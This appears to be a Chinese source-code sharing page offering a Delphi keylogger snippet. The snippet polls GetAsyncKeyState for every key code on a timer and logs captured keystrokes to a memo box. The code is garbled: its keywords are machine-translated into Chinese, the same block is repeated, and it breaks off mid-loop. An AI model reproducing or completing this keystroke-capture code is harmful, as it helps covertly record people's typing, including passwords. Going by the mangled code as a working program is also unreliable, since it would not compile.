通过 Delphi Keyloger 代码
2016-08-23
0 0 0
暂无评分
其他
如何获取积分?
程序 Send(x: string);
开始
form1。Memo1.Lines.Add(x)
结束 ;
程序 TForm1.Timer1Timer(Sender: TObject);
//begin
//if GetAsyncKeyState(Ord('A')) =-32767 然后 send('A') ;
//if GetAsyncKeyState(Ord('B')) =-32767 然后 send('B') ;
var X,y:integer ;
f:char ;
str:string ;
开始
X: = 0 到 255 做
开始
开始
form1。Memo1.Lines.Add(x)
结束 ;
程序 TForm1.Timer1Timer(Sender: TObject);
//begin
//if GetAsyncKeyState(Ord('A')) =-32767 然后 send('A') ;
//if GetAsyncKeyState(Ord('B')) =-32767 然后 send('B') ;
var X,y:integer ;
f:char ;
str:string ;
开始
X: = 0 到 255 做
开始
delphi
代码
通过
DelphiKeyloger
相关源码推荐
MY函数库
0
0
暂无评分
DELPHI调用windows自带的语音合成
0
0
暂无评分
比较二进制文件
0
0
暂无评分
德尔福7
0
0
暂无评分
SQL数据库表结构合并工具
0
0
暂无评分
暂无评论